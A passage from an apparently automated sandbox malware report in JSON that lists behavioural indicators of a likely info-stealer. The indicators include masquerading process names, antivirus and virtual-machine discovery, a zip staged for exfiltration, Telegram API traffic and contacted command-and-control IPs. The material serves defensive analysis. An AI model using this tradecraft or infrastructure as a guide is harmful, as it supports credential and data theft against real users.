Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"Launcher.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007048)\n \"Launcher.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005868)\n \"System Properties.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006668)\n \"windows defender.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006308)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"Build.exe\" called \"IsWow64Process\" with parameter \"5992\" - (UID: 00000000-00005992)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"7948\" - (UID: 00000000-00007948)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"System Properties.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006668)\n \"windows defender.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006308)\n \"explorcr.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007420)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"System Properties.exe\" called \"GetWindowTextW\" (UID: 00000000-00006668)\n \"System Properties.exe\" called \"GetWindowTextA\" (UID: 00000000-00006668)\n \"windows defender.exe\" called \"GetWindowTextW\" (UID: 00000000-00006308)\n \"windows defender.exe\" called \"GetWindowTextA\" (UID: 00000000-00006308)\n \"explorcr.exe\" called \"GetWindowTextA\" (UID: 00000000-00007420)\n \"explorcr.exe\" called \"GetWindowTextW\" (UID: 00000000-00007420)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Launcher.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007048)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" (UID: 00000000-00007948)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007948)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Build.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005992)\n \"System Properties.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006668)\n \"powershell.exe\" called \"GetLocaleInfoW\" (UID: 00000000-00007948)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00007948-65500-217-001B9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00007948-65500-194-001BC4B6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; File: \"Launcher.exe\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007948-65500-217-001B9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007948-65500-217-001B9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00007948-65500-141-001BD610","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00007948-65500-151-001BD501","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp\n 00000000-00005992.00000002.158297.03A20000.00000004.mdmp\n Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00007364.00000000.154601.036D0000.00000004.mdmp\n 00000000-00007364.00000002.157710.036D0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"Launcher.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"ctions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00007948-65500-135-001BDAD1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"lGetVersion,NTDLL.dll,\"00:40:08.515\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00005868.00000000.154394.03310000.00000004.mdmp\")\n Found reference to API \"144523330878,3696,3024,,RtlGetVersion,NTDLL.dll,\"00:41:10.406\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found reference to API \"19243120129,6684,3024,,RtlGetVersion,NTDLL.dll,\"00:40:17.750\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"System Properties.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"System Properties.exe\" issued a query \"$objects\"\n \"System Properties.exe\" issued a query \"SELECT * FROM Win32_VideoController\"\n \"System Properties.exe\" issued a query \"Select * from AntivirusProduct\"\n \"windows defender.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"windows defender.exe\" issued a query \"Select * from Win32_Processor\"\n \"windows defender.exe\" issued a query \"SELECT * FROM Win32_Processor\"\n \"windows defender.exe\" issued a query \"$objects\"\n \"windows defender.exe\" issued a query \"SELECT * FROM Win32_VideoController\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"System Properties.exe\" queries volume information of \"C:\\\" at 00000000-00006668-00000C17-1422232298","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Launcher.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Build.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"System Properties.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"explorer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Build.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"System Properties.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"windows defender.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"explorer.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$32","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"References Video COM interface string","description":"Found string \"CLSID\\{860BB310-5D01-11D0-BD3B-00A0C911CE86}\" (Indicator: \"{860bb310-5d01-11d0-bd3b-00a0c911ce86}\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"CLSID\\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\" (Indicator: \"{62be5d10-60eb-11d0-bd3b-00a0c911ce86}\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-757","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"instance of Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"e of Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"instance of Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp, 00000000-00007364.00000002.157710.036D0000.00000004.mdmp\")\n Found string \"SELECT * FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00007364.00000002.157710.036D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"ZeroTrace_WkOJjQBYqCQYy8M_20250917_165405.zip\" copied on \"%TEMP%\\ZeroTrace_WkOJjQBYqCQYy8M_20250917_165405.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"Launcher.exe\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"file/memory contains long string(File: \"Build.exe\")\n file/memory contains long string(File: \"System Properties.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; File: \"Launcher.exe\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; File: \"Launcher.exe\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"Build.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")\n \"Build.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")\n \"Build.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"Build.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"Build.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"Build.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"Build.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$33","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$34","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$35","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"Build.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00005992)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.241.132.125:4242\"\n \"45.241.132.125:5353\"\n \"149.154.167.220:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * From Win32_ComputerSystem\" (Source: 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp, Indicator: \"select * from win32_computersystem\")\n \"Select * from AntivirusProduct\" (Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp, Indicator: \"select * from antivirusproduct\")\n \"SELECT * FROM Win32_VideoController\" (Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp, Indicator: \"select * from win32_videocontroller\")\n \"SELECT * FROM Win32_VideoController\" (Source: 00000000-00007364.00000002.157710.036D0000.00000004.mdmp, Indicator: \"select * from win32_videocontroller\")\n \"SELECT * FROM Win32_Processor\" (Source: 00000000-00007364.00000002.157710.036D0000.00000004.mdmp, Indicator: \"select * from win32_processor\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API 